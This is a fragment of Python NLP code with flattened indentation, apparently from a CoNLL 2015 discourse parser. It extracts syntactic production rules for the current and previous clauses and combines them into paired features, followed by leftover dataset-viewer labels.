for node in syntax_tree.tree.traverse(strategy='levelorder'):
if node not in no_need:
if set(node.get_leaves()) <= clause_leaves:
subtrees.append(node)
no_need.extend(node.get_descendants())
production_rule = []
for tree in subtrees:
for node in tree.traverse(strategy='levelorder'):
if not node.is_leaf():
rule = node.name + '-->' + ' '.join([child.name for child in node.get_children()])
production_rule.append(rule)
curr_production_rule = production_rule
DocID = arg_clauses.DocID
sent_index = arg_clauses.sent_index
curr_clause_indices = arg_clauses.clauses[clause_index - 1][0]
subtrees = []
parse_tree = parse_dict[DocID]['sentences'][sent_index]['parsetree'].strip()
syntax_tree = Syntax_tree(parse_tree)
if syntax_tree.tree != None:
clause_leaves = set([syntax_tree.get_leaf_node_by_token_index(index) for index in curr_clause_indices])
no_need = []
for node in syntax_tree.tree.traverse(strategy='levelorder'):
if node not in no_need:
if set(node.get_leaves()) <= clause_leaves:
subtrees.append(node)
no_need.extend(node.get_descendants())
production_rule = []
for tree in subtrees:
for node in tree.traverse(strategy='levelorder'):
if not node.is_leaf():
rule = node.name + '-->' + ' '.join([child.name for child in node.get_children()])
production_rule.append(rule)
prev_production_rule = production_rule
CP_production_rule = []
for curr_rule in curr_production_rule:
for prev_rule in prev_production_rule:
CP_production_rule.append('%s|%s' % (prev_rule, curr_rule))
return CP_production_rule
|
conll2015_discourse
|
positive
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.